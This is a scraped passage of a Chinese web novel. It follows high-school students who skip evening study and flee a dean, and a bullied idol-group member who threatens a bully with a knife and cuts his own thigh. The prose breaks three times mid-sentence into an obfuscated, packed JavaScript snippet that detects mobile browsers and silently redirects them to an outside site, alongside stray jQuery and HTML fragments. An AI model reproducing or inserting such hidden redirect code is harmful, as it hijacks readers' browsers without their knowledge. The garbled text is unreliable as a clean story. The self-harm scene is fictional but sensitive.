她立刻说:“没位子,我们走了。” 不料身后再次传来白度不知好歹的热心招揽:“谁说没位子,我这里就有位子!” …… 此刻“好运来”炸鸡奶茶店里洋溢着欢乐而轻松的气氛,学生们说说笑笑,享受着一天劳累的学习过后难得的轻松时刻。 ——只是,人类的悲欢并不相同。 四人桌上,两男两女陷入死一般的沉寂。 黄怀予臭脸坐着,谷奕低头打游戏,苏琬扶额叹息,只有单纯的白度还在皱眉嘟囔吐槽今天的奶茶做得不够甜,要找老板反馈。 苏琬见状,立刻反应极快地站起来:“我们跟你一块去吧,正好我们去买点吃的就走。” 说完拉着黄怀予的胳膊,站起来准备开溜。 就在这时,两人身后传来一个漫不经心的男声: “哟,我还以为好学生都一整天24小时呆在教室呢,原来,第一名也会逃晚自习出来开小灶啊。” “既然自己都逃课,怎么还有脸说别人的?” “哎白度,你说这种逃课出来吃宵夜的人,能考上人大复旦吗?” ! ——这一句话如同一道惊雷,砸在了四人中间。 苏琬睁大眼睛,顿觉不妙。 黄怀予这人吃软不吃硬,两人中午刚吵了一架,互相躲着不说话也就完事了。但是现在…… ——她立刻扭头看去,果然看见本来一脸冷淡的黄怀予,瞬间抬起了头,呼出一口气,整个人怒气上涌。 “……”苏琬无奈,知道劝不住了,干脆默默地放开了她的手。 果然,下一秒,黄怀予又利落地转身坐回来,双臂抱胸,直直地盯着对面满脸挑衅的谷奕。 心高气傲的两个人面对面坐着,脸上的表情都好像要把对方吃了,身后仿佛都燃起了火焰,空气里弥漫着一触即发的战争味道。 “……”此时此刻,白度就算再迟钝,现在也看出了一些端倪,再联想到早自习两人第一次见面就开始掐架的场景,他终于反应过来,颤颤巍巍地试探,“那啥……杯子苏琬你们要吃什么,我去买……” 苏琬叹口气,也回头坐下,掏出一张纸币递给白度。 “20块钱的炸鸡柳。谢谢。” …… 这大概是苏琬和白度吃过的最如坐针毡的一顿夜宵——因为事件的两位当事人全程都保持死一般的沉默,吃鸡柳的吃鸡柳,打游戏的打游戏,只有旁边两个冤种尴尬地扣手指甲。 白度想了半天,努力地寻找话题。 “……马辉刚刚在教室检查二晚人数了吗?” “……你们刚刚出校门的时候二晚的上课铃声打了吗?” “……鸡柳好吃吗?” 白度终于忍不住了,拍桌子怒道:“你们两个人倒是说话啊!别这么尴尬行不行,大家都是同学,有什么事说清楚就好了——” 话还没说完,黄怀予和谷奕两人看着店门口异口同声道:“我操!” 白度一下子懵了:“你俩操啥?” 下一秒,店门口就传来地狱魔鬼般的怒吼: ——“你们都是哪个班的?!为什么不上晚自习?!在这里干嘛?!叫你们班主任过来认人!!” ……一瞬间,店里所有人都愣住,齐刷刷地看向店门口。 只见店门口站着一名戴眼镜的短发中年妇女,穿着深色衬衫,拿着手机,怒目圆睁,大有砸了这家店的气势。 “!”白度吓得舌头打结,喃喃道:“——朱,朱秋霞!” 谷奕:“这就是那个教导主任?!你不是说只有百分之十的概率来吗?!” 白度绝望地低下头。 “危险事件概率确实只有百分之十,但是一旦发生在你身上,那就是百分之百的不幸。” …… 四人都慌了,整个店所有的学生全部慌了。 刚刚还吵闹嘈杂的奶茶店瞬间一片死寂,所有人一个个全部都像老鼠见了猫似的低下头,生怕被记住脸,整个场景就像大型扫黄打非现场。 下一秒,朱秋霞就气势汹汹走进店里,环视四周,眼神仿佛要喷出火。 “开学第一天就来玩!我不来你们当学校不存在是吧?!” “你们一个都逃不了!直接让班主任来认领!下周一升旗仪式,全校点名批评!记处分!” “还有几个高三的!全部通知家长!带回家写检讨!” “……” 谷奕悄悄抬头,左右看看,发现所有人全部非常有经验地低头捂脸,生怕泄露出一点点个人面部特征被记住。 于是他也学着大家,低头捂脸。 可是没想到下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252924|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一秒—— “那个黄毛!你是哪个班的!谁允许你染这个颜色?!” “楚门一中还有你这样的?!你是混社会的?!” “……” 四人绝望,没用了,特征太明显,已经被盯上了。 黄怀予低头捅苏琬的手臂,悄声说:“咋办,她刚说要全校通报记处分。” “全校通报记处分很严重吗?”谷奕没心没肺地问了一句。 黄怀予凉凉地看他一眼:“我上一次被全校点名,还是被全校表扬评上楚门市三好学生。” 苏琬皱眉,悄悄抬头看了一下四人坐的靠着门口的位置,再看了一下已经走到点餐台的朱秋霞—— 她思考几秒,轻声说:“现在……趁着她还不知道我们是谁,可能只有一个办法了。” 三人一惊,同时明白了苏琬的意思。 “我数三个数。三,二,一——” “跑!!!” 四个人同时跃起,夺门而出,开始没命地奔跑。 …… 于是八月三十一号晚上九点,楚门一中对面街上的路人就会看到这样离奇的一幕: 两个女生和两个男生——特别是还有一个黄头发的男生——冲出了街边的“好运来”奶茶店大门,在夏夜里不要命地向学校奔跑,身后还跟着一个气急败坏叫嚷着的中年女人。 …… 谷奕在那一瞬间跑出门前还特地回头看了一眼。 他果然看到,刚刚在点餐台旁边,夸他发色不错的奶茶店老板,此时正以爱莫能助的同情目光,目送他们。 于是那一刻他终于明白,老板对于他的发色为何会如此惊讶。 ——见过半夜偷东西的,没见过半夜带着音响大声外放《最炫民族风》偷东西的。 …… “不行了不行了……我……我真的跑不动了……” 白度跟着三人一顿疯跑,一直跑到学校侧面的围栏处,不得已气喘吁吁地停下,捂住咚咚狂跳的心脏。 “没事儿,就在这。”黄怀予跟苏琬对视一眼,随后干脆利落地踏上围栏的底部砖台,握住铁栏杆,一气呵成地开始攀爬。 谷奕有些吃惊:“你们准备翻墙进去?” 苏琬:“是啊,现在晚自习还没结束,校门已经关了,只有十点放学才会开。我们俩本来就是打算出来买吃的,买完就翻墙回去上晚自习。” “等!等一下!”谷奕赶紧叫停。 黄怀予停住,两人疑惑地看着他。 谷奕揽过白度胖胖的身子。 “我说……你们是不是得考虑一下他。” 黄怀予顿住,四人间陷入尴尬的沉默。 她无法理解:“不是,那你们俩要是没碰到我们,又翻不了墙,你们打算怎么回去上晚自习?” 白度眨眨眼睛,笑得无辜而憨厚:“我们不上晚自习。等到十点放学了门开了,直接进去回宿舍。” 谷奕揽住白度的肩,一脸认同地点点头:“没错。我们非常遵纪守法,绝对不会翻墙的。” 黄怀予和苏琬:“……” 敢情不遵纪守法的反而变成她们了。 黄怀予又重新爬下来,叹口气。 “看来在劫难逃了。现在这个点,餐馆都已经关了,只有奶茶店文具店还开着。但是,就这显眼的发色,我们在校外去哪家店都会被逮住。” 苏琬提议:“操场那边有个小门,可以进去,从操场回教室。” 黄怀予摇摇头,满脸惨淡:“操场上有刘春江。被她逮住还不如被朱秋霞逮住。” “……”谷奕稍微反应了一下,意识到刘春江应该也是一个巡视抓人的老师,“可是,操场上乌漆嘛黑的,她也看不见我们吧。” 黄怀予泄了气,更加绝望:“她有手电筒。” “……”白度疑惑,“谁大晚上会去操场啊,她能抓到谁?” 黄怀予无精打采,彻底放弃:“晚上去操场和小树林抓情侣,一抓一个准。” “……” 四人彻底沉默。 “那……现在就只有最后一个办法了。” 苏琬沉吟许久,抬头看向学校旁边不远处的山。 4. 第 4 章 谷奕脑子有些混乱。 就算他是以前在魔都整天逃课的问题少年,也实在没有想到—— 楚门一中高三开学第一天,8月31号晚上九点,全校人都在上晚自习的时候,他会跟黄怀予、苏琬、白度这三个人一起,爬山。 白度气喘吁吁地抬头:“上面就是鸡鸣山公园了。我妈经常吃完饭到这儿散步。” 谷奕向上看去,果然看到上面是一个宽敞的平台,山路向上延伸,有零零散散的市民在路灯下散步,正前方有一块大石,写着“鸡鸣山人民健身公园”几个大字。 路边草丛闪烁着荧光绿色的指路灯,远处还能隐隐约约听到大爷大妈广场舞的音乐。 ——果然在省重点高中旁边,就算大晚上爬山,也不是恐怖片剧情,而是全民健身的正能量情节。 四人一列纵队上山,考虑到没什么体力的白度和不熟悉路的谷奕,黄怀予建议白度第一个慢慢走,谷奕在最后,黄怀予和苏琬在中间。 “我们等会上到上面的公园就可以休息了,朱秋霞肯定追不过来,我们在上面等到放学就可以了。” 苏琬今天穿的长裙和凉鞋,上坡的时候十分不方便,走几步就会被路边的杂草绊住。 山坡周围唯一的光源只有草丛中荧光绿色的指路灯,她只能努力辨认眼前的路,尽力不让自己被绊倒。 突然,路边多出一束光秃秃的树枝,在昏暗的绿色灯光下,她眼一花,一脚踩在树枝上,整个人不由自主地向后倒去。 “杯子!” 黄怀予听到苏琬的惊叫猛地回头,右手迅速向后方的苏琬抓去—— 手上抓了个空,但是苏琬后面的谷奕一把将她接住,一手撑住她的腰,一手抓住了她的手腕。 “没事吧?” 苏琬愣愣地看着扶住她的男生的眼睛,喘了几口气,摇摇头。 “……”黄怀予牵过苏琬的手,抬头看着谷奕,表情依然很臭,但是语气却软下来,“谢了。” 谷奕听到她的道谢有些愣住,静静地看着她们两个人,眼神在黑暗中有些看不清。 “应该的。” …… 白度在前面喊:“到了到了!终于可以休息了,刚刚跑得累死了,体测一千米都没这么认真过。” 四人到了半山腰的公园里,往下看可以鸟瞰整个楚门一中。 教学楼灯火通明,黑暗的学校被无数的灯托举出光明,大大小小的窗户里,可以看到许多埋头学习的少年们。 “啊,有风,好凉快。”白度扯扯衣服,舒服地眯起了眼。 苏琬抬头看见满天繁星,惊呼:“这里可以看到星星。真好。” 黄怀予感叹:“好浪漫。”随后一屁股坐到草地上,从裤子口袋里掏出一包炸鸡柳,用竹签津津有味地吃起来。 三人:“……” 谷奕无语:“你是怎么做到那么紧张的情况下还能顺带把鸡柳带上的。” 她手撑到草地上,嘴里嚼着鸡柳,歪着头看星星。 “没了吃的,我会不开心的。开心很重要。” …… 苏琬坐下来,看着下面的教学楼,有些担心。 “感觉朱秋霞应该记住谷奕的头发了,万一通知全校班主任一个个找我们就惨了……更何况现在我们还翘了晚自习,可能等会马辉来班上检查,就会被发现。” 白度闻言也有点慌。遇见这种事他第一反应,就是下意识看向四人中成绩最好的“好学生”黄怀予——结果就看见她正坐在地上,头也没抬地吃鸡柳。 苏琬沉吟几秒:“不过上次杯子早自习迟到被朱秋霞抓到,最后也没有全校点名批评,好像是因为马辉有说这是我们班第一名,就算了。” 紧接着又微微叹口气:“这一次比迟到更严重,我们还当着她的面跑了……希望这次运气也能好一点。” 苏琬和白度有一搭没一搭地讨论解决办法,但是说来说去也没能说出一个所以然。 黄怀予压根没管他们在说啥,吹着晚风,三下五除二就吃掉了一整包鸡柳。 她正在借着旁边的路灯光费力地找袋子里的油渣,就听见身后传来一个闷闷的声音。 “像你们这种第一名第二名成绩好的人,看见我这种人,就会觉得我是问题少年小混混吧。” 黄怀予顿住,转过身,对上黑暗中谷奕晦淡的眼睛。 “是不是在你们眼里,只要成绩不好的、不认真学习的人就都是叛逆的问题少年,都应该得到遏制,然后必须去好好学习,这样才算走上正道?” 黄怀予沉静地看着他,几秒后开口。 “谁告诉你的?” 谷奕一愣。 黄怀予把鸡柳袋子收起来,重新看向他:“我问你几个问题吧。” “你对未来有计划吗?想去哪个城市?想过什么样的生活?” “跟家人关系好吗?跟朋友关系好吗?对于所有这些你爱的人,你们之间的相处和沟通健康正常吗?” “你每天,开心吗?” “……”一连串的问题让谷奕一下子愣住了。 黄怀予坐在草地上,双手抱胸,认真地看着他,轻轻地说: “人活着,都是为了开心。你学不学习根本就不重要。如果你愿意,你退学去学校对面卖炸鸡柳都可以,只要你干得开心。” “你觉得会被人看成是问题少年。其实有问题的地方根本不是你不学习,而是你每天既不开心,也不知道什么能够让你自己开心。就这样迷茫着,囫囵吞枣地,混着每天的白天和黑夜。” “你说我是好学生。其实我最讨厌奋斗,讨厌吃苦,讨厌一切痛苦。除了成绩好,我在所有人眼里都是一个叛逆的人。可是,假如我真的不学了,我又会陷入更大的痛苦,就是我永远也实现不了自己对未来生活的期望了。那我也就再也开心不起来了。” “所以,你好好想想,你会为了什么而开心快乐?” * 已是夜晚,帝都新娱公司的练习室。 整层楼只开了一盏灯,练习室里只有昏暗的灯光。角落的录音机大声放着音乐,强烈的鼓点在安静的空间里显得格外清晰。 楚恒一个人在镜子前一遍一遍地跳着舞。 几滴汗水从他脸上滑下,隐入他线条流畅的肩颈深处,又因为跳舞动作过大而被甩出来。金色的头发已经被汗湿,腻腻地贴在白皙的脸侧。 这个八拍,手臂要用力砸出去…… 这里,身体做一个wave会更好看…… 他微微喘着气,高挑瘦削的身影隐没在昏暗里,耳边只有音乐和鞋子擦过地板的尖锐摩擦声。 有时候一个人跳舞跳久了,他会隐约觉得,好像世界上只有自己一个人。这样安静的感觉可以让他得到短暂的喘息,不用去记起那些扭曲的虚假的脸。 “楚恒??” 顾安惊讶地站在练习室门口。 他们今天一大早就去江城录节目,录到下午五点,中间还因为碰到艺人耍大牌迟到,整个摄制组等了两个多小时。 他们这种糊团就更不用说,跟着一起等,还差点没分到中午的盒饭。好不容易录完,坐飞机回帝都还遇上晚点,到公司的时候已经晚上十一点多了。 顾安本来已经卸了妆躺在床上了,突然发现唯一的一副耳机落在公司更衣室的衣服口袋里。好在宿舍和练习室离得近,他睡意朦胧地到更衣室拿耳机,没想到远远就能看见练习室里微弱的灯光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252925|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这个点居然有人还在练习? 他惊讶地看着一个人在昏暗的镜子前面认真跳舞的高个男生,突然说不出话来。 他们这五个人中,楚恒是公认条件最好的。 身高182cm,身材比例好,长得帅,甚至有一双桃花眼。他从小就在合唱团当领唱,高一读书期间被星探发掘进了公司,只培训了八个月就出道了,在练习生考核里是绝无仅有的综合第一名,几乎所有老师都夸他天生就是吃这碗饭的。 即使成团以后总共也没什么粉丝,他也凭借着外表和能力成为了团里的top。 他不爱说话,其他四个人自然而然地形成了一个小团体。 他一个人吃饭,一个人练习,飞快地进步。 可是,糊团没人权啊。 刚出道时五个人都兴致冲冲铆足了劲要干一番事业出来,可是一年了没有资源,两年了没有起色,三年了再多的热情都已经消磨在每天枯燥的练习和暗无天日的等待中。 楚恒是条件最好且最努力的,他知道。 只是三年的消磨过后,居然还能这样自律,他怎么也想不到。 “……”楚恒听到门口的声音,转过头看他,轻轻喘气。他今年年初染了金发,本来就白皙瘦削的脸更加像人偶,五官精致到有些不真实,隐藏在黑暗里,气质冷漠阴郁,像是和黑暗融为了一体。 顾安愣愣地看着他漆黑的瞳仁,想说些什么却突然忘了,只好说:“大晚上不开灯怪吓人的。” “梁姐说要省点钱。” 顾安又不知道该说什么了,只好尴尬地扬扬手里的耳机:“我过来拿耳机的。”说完,只能最后留下一句: “早点睡吧,明天还有课。” 楚恒点头,睫毛垂下,依旧无话。 …… “哎哎哎!!百里守约上!!” “清理兵线清理兵线!!!” “操!你他妈会不会打啊!!!” 顾安低头走过走廊,听到隔壁寝室虚掩的门里传出熟悉的粗口。 他走进寝室,一下子闻见满屋的烟味,脚边扔着几个被捏瘪的啤酒罐。 “顾安你拿个耳机怎么这么久?我们都打了五盘了,这盘打完就回去。” “……” 顾安低头沉默,听着充斥着耳边的脏话和刺鼻的烟味,捏着耳机的手紧了紧,没有说话。 久久没有听到回答,赵焰灌了口酒,狐疑地看着门口站着的顾意:“你他妈聋了?” “……明早有声乐课,还是早点睡吧。” 赵焰皱了皱眉头,冷笑一声:“你不会是去找楚恒了吧。” “没有。……我只是,刚刚在练习室里碰到他了。” 宿舍里气氛顿时冷了下来,另外两人全都停下了游戏,看了过来。 赵焰歪着头,吐掉了嘴里的烟,站了起来。 “怎么,又被我们尊贵的C位大人的勤奋感动了?你现在在这装好人给谁看?你要么给别人镶边三年也忍着,要么就别磨磨唧唧,别一副当了婊子还要立牌坊的样子,那些事你干得少了?谁给他下的安眠药?我可没逼你。” “……” 顾安听到最后一句话,闭上了眼,靠着墙,再也没有说过一句话。 赵焰和陈影走出寝室,在门口经过顾意时,狠狠地朝他的肩膀撞了过去。 顾安被撞到门后,融入了墙角的阴影之中。 “……” 寝室里陷入沉默,钱明哲漠然看着他们离去的背影,转头看向顾安。 “把垃圾收拾一下。我去洗澡。” 他走过顾安身边,顿了顿,面无表情地说:“做了就是做了,不可能回去了。识时务者为俊杰。” 5. 第 5 章 苏琬今天和平时有一些不一样。 以前她总是早晨第一个到教室,坐下来就会专心致志地背知识点,不管谁来到教室她都不会抬头。 今天她却极度关注教室门口,一旦有人进来,就会不由自主抬头望过去,没有自己想看到的人,又会重新低下头。 李唯艺今天难得吃完早饭不犯困,撑着脸无聊地四处看,观察了前面的苏琬许久,随即戳戳黄怀予的手臂。 “蒜蒜咋了,今天好像心不在焉。她找谁呢?” 黄怀予抬头看了看前面苏琬的背影,又看看她旁边空着的座位,心下了然,冷哼一声。 “爱谁谁。” 她扭头看着李唯艺:“你这么没事做?《滕王阁序》背了吗?” “哎呀——”李唯艺趴在桌上,发出哀嚎。 下了早自习,黄怀予收起了书,站起身想找苏琬出去打水。 她刚伸出手,还没来得及说话,苏琬就站起来,压根没注意到她,径直地走到了教室最后一排。 “……”黄怀予眯眼,看着苏琬弯着腰和最后一排的白度交谈着什么,两人的表情被挡住,什么也看不见。 她瘪瘪嘴,不情愿地坐了回去,靠在李唯艺肩膀上放空。 李唯艺正在草稿纸上画画,左描一下右描一下,一下子勾画出了一个大波浪性感美女的脸。 “不愧是美术生,画得好好。” 黄怀予枕在她手臂上静静地看着,突然想到什么事情:“对了,你啥时候去集训?” 李唯艺叹了口气:“明天。” “明天?!!” 黄怀予一下坐起来,眼睛瞪大。 “去哪?” “江城的一个画室,在春江区那边。” “你一个人吗?” “是的。可能一直要到明年二三月考完校考才回来了。” “……” 黄怀予听出她话里的迷茫和不舍,不知道说啥好了,轻轻地摸摸李唯艺的头:“加油。文化课有需要就找我。等你回来技惊四座。” 李唯艺有些感动,刚准备开口,就听见黄怀予拿起她的草稿纸继续说: “顺便,谢谢你给我画的画,太像我了。” “……”李唯艺无语地戳她,“这是我女神安吉丽娜朱莉!” * 下午的自习课,黄怀予在教室里收地理作业,记下了没交作业的名单。 她刚准备抱着作业上楼,就看见程朗穿着训练服,挂着谄媚的笑,朝她一点一点挪过来。 “……”她斜看着他:“这次又有啥事儿?” 程朗摸摸头,讨好地笑:“还是上次的事。你别记我名字呗,马辉真的老是把名单拍照到家长群,我妈天天都说我。” “那你倒是交作业呀,交完了就没人记你名字了。” 程朗厚脸皮地继续憨笑:“哎呀我们体育生训练太忙了,真没时间写作业,求你了杯姐你最好了,这么多人没交,少我一个也不少……” 黄怀予叹口气:“真不是我不帮你,马辉最近不知道抽了什么风,每天抓迟到收手机,还让所有课代表都把每次作业的名单都汇总,他一个一个对人数。估计他最近觉得要好好抓一下我们班学习。这我真没办法了,不记你名字,人数对不上,他就要来找我麻烦了。” “……”程朗泄气了,不说话了。 黄怀予看着他这副垂头丧气的样子,忍不住劝道:“哎我说,都高三了,你多少还是写一点吧。你要是真不想写,我把我的作业给你抄,你抄完了交上来就行了。” 程朗还是情绪低落,摇摇头说:“抄作业会被发现的。” “?那你不交作业就不怕被发现?” 程朗突然抬起头,干脆破罐子破摔了:“我不管,你就不能写我,不然我每天都来骚扰你,而且还会把你那个天大的秘密说出去!” “……”黄怀予沉默三秒,决定装傻,“什么秘密?你记错了。” 程朗立刻不依不饶地凑上来:“还能是什么秘密,你和卫语之间的秘密!” 黄怀予听到“卫语”这个名字,瞬间变了脸色,扭头怒视他,咬牙切齿:“你偷看我初中的日记,你还有理了?信不信我揍你?” “我哪知道那是你的日记!我无意中看见的!” 程朗嚷道:“反正我们三个都是初中同学,卫语现在也在楼下五班,大家熟得很,你有什么不好意思的?” “你再说!”黄怀予阴沉地盯着他,深呼吸几下,摆出满不在乎的表情,“我不在乎,你随便说。” 说完她也没管程朗什么反应,气呼呼地去送作业了。 …… 回来的时候被杨捷抓住,拉着讲题。 “domestic还有驯养的驯化的意思,不一定就是家用的家庭的,所以A比C要更合适一些,读起来也更通顺一些。” 杨捷苦恼:“那我要是考试的时候不知道单词意思,我咋做题?” “好问题。靠猜吧。” “……”杨捷笑着拿走卷子,手举成话筒作采访状,“最后一个问题,请问您有什么英语考试的技巧吗?” 黄怀予拍拍她的肩膀:“就记得交卷之前最后一刻别改答案就行。” 杨捷走了,苏琬也转过来,拿着一本数学五三放在她面前:“杯子,这道函数题你做出来了吗?” 黄怀予却没回答,双手抱胸,面无表情地看着她。 “?”苏琬莫名其妙,“我脸上有东西?” 黄怀予摇摇头,语气极酸:“没什么,就是觉得你可能不是很在乎函数,而是比较在乎一个傻大个。” “……”苏琬愣住,反应几秒,才听懂傻大个指的是谷奕。 她莞尔,挑挑眉,凑上脸来仔细地观察。 黄怀予推开她,偏过脸,不情愿地说:“干嘛?” 她眉开眼笑,伸手捏捏黄怀予的脸:“我在乎谁不重要,看样子你很在乎我呀。” 黄怀予生气地拍开她的手:“不要转移话题。” 苏琬歪头看着她,嘴角上扬,轻轻地说: “昨天晚上晚自习结束,我们下山,你回去以后,我跟白度谷奕回宿舍,碰见马辉了。” “啊?!” 黄怀予震惊,瞬间慌了。 “他什么反应?不对啊,他平时不是早就走了吗,怎么会十点多还在学校?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252926|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不知道。他问我们是不是没上晚自习,我刚准备编个理由,白度就慌了,一下子全招了。” “……”黄怀予扶额,“看来他是对的,他们俩果然遵纪守法。相比起来我们俩才像是经常犯事的。” “然后他们俩回寝室了,马辉把我留下来,跟我说了一些话。” 黄怀予看着苏琬平静的脸,顿感不妙,好像已经知道是一些什么话了。 她睁大眼睛,看着苏琬一个字一个字地复述着昨天晚上马辉的原话: “我让你们带他学习,结果你们第一天就带他一起逃晚自习了。” “既然这样,他要是三天之内还逃课,就由你们俩负责把他带回来。” “否则的话,我视作你们俩也一起逃课。” …… 黄怀予沉默,皱紧眉头,不可置信地扯了扯嘴角,感觉世界上没有什么比这更加荒谬的事了。 苏琬认真地说:“你现在好像破产姐妹Max那张表情包。” “我现在比Max还无语。” 黄怀予气得嘴歪:“现在就好比,我是Max,你是Caroline,现在Han命令我们两个去Sophie家里把Oleg抓回来当厨师做菜。” “你觉得可能吗??他想回来吗??Han才是老板,他自己怎么不去抓?” 旁边的李唯艺听到声音凑过来:“啥啥啥?你们在说破产姐妹吗?” “……”黄怀予疲惫地摇摇头,“我们在说我的附庸的附庸不是我的附庸。” * 帝都新娱公司。 “今天的课就上到这里。”声乐老师收起谱子,走之前对楚恒微笑了一下,“今天不错,上次说的注意事项都有进步,混声过渡也流畅了。加油哦。” 楚恒微微点头,礼貌道谢。 “……” 赵焰冷笑一声,站起身来,直接拦住楚恒的路。 “又被夸了。高兴吗?” 楚恒仿佛没听到一般,低头戴上帽子,转身准备离开。 赵焰使了个眼色,后面的陈影和钱明哲立刻走过来,再次挡住了楚恒的路。 “大明星,别装了,我都替你累。我糊,你也糊,全网粉丝加起来不到二十个,谁比谁高贵啊?真把自己当成万众瞩目的C位了?” 赵焰一步步走近他,眼神阴鸷:“你也配?” “……” 楚恒站住未动,漆黑的瞳仁里闪着莫名的情绪,静静地看着赵焰。 他下颌微扬,金色的发丝垂在白皙的脸侧,整个人像一栋精心雕刻的雕塑,美丽,但毫无感情。 赵焰被他眼底那股漠然和倔强给狠狠地刺激到了。 他揪住楚恒的衣领,语气如同阴毒的蛇:“上次身上的伤好了吗?下次我可就不会下手这么轻了,这么帅的脸,你说要是多几条刀疤会怎么样呢?” 面前被揪住衣领的人慢慢地抬起眼睛,骨节分明的右手缓缓握住赵焰的手腕。 赵焰还想说几句话,下一秒就感到有什么坚硬而尖锐的东西抵住了他的腹部。他愣住,低头,看到了一把寒光闪闪的匕首。 “那就看谁的刀更快了。” 6. 第 6 章 旁边三人睁大眼睛,均是满脸震惊。 谁都没有想到楚恒真的带了刀。平时打打架动动手也就算了,一旦两个人拼上刀了,那事情性质就完全变了。 顾安震惊之余反应过来,赶紧上前抵住两人。 “在练习室里,别乱来!” 楚恒目光冷淡,居高临下地看着赵焰,拿着匕首的手力度却一点也没松。 “……”赵焰死死地瞪着楚恒,却不得不忌惮于身下冰冷尖锐的匕首。 他手被楚恒用力捏住,力气大到骨节泛白,痛得他咬牙出了汗。楚恒眼神里迸射出在黑暗里浸润了太久的阴郁、麻木和漠然,那双桃花眼里没有一丝温度,甚至没有恨。 他在这一刻甚至觉得,如果没人拦住,楚恒真的有可能毫不犹豫地把匕首刺下去。 赵焰愤怒地松手,咬牙切齿地吐出了几个字:“疯子!操!你给我等着!” 陈影跟了上去。 钱明哲最后回头看了一眼,仍旧很震惊平时不声不响、任人欺负都没反应的楚恒今天会带刀,情绪复杂地转头离开了。 顾安留在原地,发现练习室里再次只剩下了他们两个人,看了一眼楚恒,犹豫了一下还是苦笑道: “下次别带了,很危险。” 楚恒缓慢地收起了匕首,长长的手指抚过怀里的匕首套,神色平静。 半晌,他仰起脸,漆黑的瞳孔隐藏了所有情绪,像是对什么都无所谓的样子。 “如果不带,就更危险。” 顾安扯扯嘴角,无言以对,低头惶惶,不敢直视他的眼睛。 “……上次的伤好了吗?你一个人住,没人帮你上药,我可以帮你。” “不用了。” 楚恒拿起背包,高瘦的身影顿了顿,回头看了他一眼。 “谢谢。” 顾安皱眉,心中惶恐,更加不敢抬头。 这声谢谢,他可能承受不起。他和他们,又有什么区别呢。 …… “楚恒!” 沈一瑾从角落里跑出来,头上的红色蝴蝶结发带飘扬在身后。 她跑到楚恒面前,眼神带着关切:“你没事吧?刚刚我看到赵焰气冲冲地走了,你们是不是在练习室里又吵起来了?” 楚恒停住,看了她一眼,“没有。” “真的吗?”沈一瑾满脸不信,想要走上前两步看清楚恒脸上的表情。 下一秒,楚恒立刻后退几步,拉出一个陌生的距离,脸微微仰着,眼睛藏在帽檐的阴影里,整个人和身上纯黑色的衣服仿佛融为一体,冷淡而拒人千里之外。 沈一瑾愣了两秒,才反应过来,他一向不喜欢别人离他太近,他有洁癖。 “……”她感到有些受伤,自觉退后两步,低头小声说,“好吧。” 她垂着头,感觉到面前的人留下了一句淡淡的“谢谢”之后,就毫无留恋地走了。 …… 宿舍里,楚恒在洗手池前一遍遍洗着手。 他洗得很用力,双手用力地搓,几乎已经把皮肤擦红。 刚刚练习室里抓住了赵焰的手的那一幕又浮现在眼前,他狠狠皱起眉,更加用力地洗手。 洗不掉……洗不掉…… 都好脏…… ……像自己一样脏。 昏暗的房间里死一般的寂静,窗帘紧紧地密闭着,整个房间简单得没有任何多余的布置。 楚恒躺在床上。 他睡得极其不安稳,梦里诡谲难辨的场景变换得极快,一会是练习生时期在练习室里没日没夜地跳舞,一会是赵焰用力把自己踹倒在地并大骂“你凭什么?”,一会又是五人都在的时候躲在角落里保持沉默的顾安。 这些场景变得极快,交缠在一起,突然一下子全部变成了恶魔的手,迅速地朝他尖叫袭来。 ——他猛地睁开眼睛,大口大口地呼吸,额角上豆大的汗珠随着动作滑落。 他感到呼吸困难,脑子像是一片混沌的迷雾,痛得像是有一千只蚂蚁在啃食他的神经。 好痛……好痛…… 他滚下床,身体狠狠地砸在地板上,发出“咚——”的巨大沉闷声响。他浑身颤抖,哆哆嗦嗦地爬到床边,手在床下胡乱摸索,终于摸到了那个箱子。 头越来越痛,他咬牙忍着,眼前已经开始模糊,手打开箱子抽出了里面的东西。 ——一把刀。 好痛……快点做点什么让头不那么痛……快点让自己清醒一点…… 他右手紧抓着刀柄,毫不犹豫地在自己大腿上狠狠划了过去。 ——熟悉的剧痛从腿上传来,他咬牙,面朝天躺在地上,呼吸紊乱而剧烈,像一只岸边搁浅的鱼。 他就这样躺着。 躺在肮脏的地板上,手上是肮脏的刀,身上是肮脏的血。他和这些东西混在一起,分也分不开,洗也洗不掉。 …… 感觉好像过了很久很久,脑中迷茫的黑雾终于一点点散了干净,他慢慢睁开眼睛。 “叮铃铃——” 手机铃声在寂静黑暗的房间里十分突兀地响起,像是遥远的异世界的呼唤号角,把楚恒的思绪从黑暗里强烈地拖了回来。 “兄弟,干啥呢,吃了吗?” “跟你讲,我昨天晚上经历了生死时刻!你绝对不敢相信我经历了什么!我晚自习和白度去学校对面喝奶茶,结果!又碰见不好惹女和我同桌!你说这是什么孽缘?” 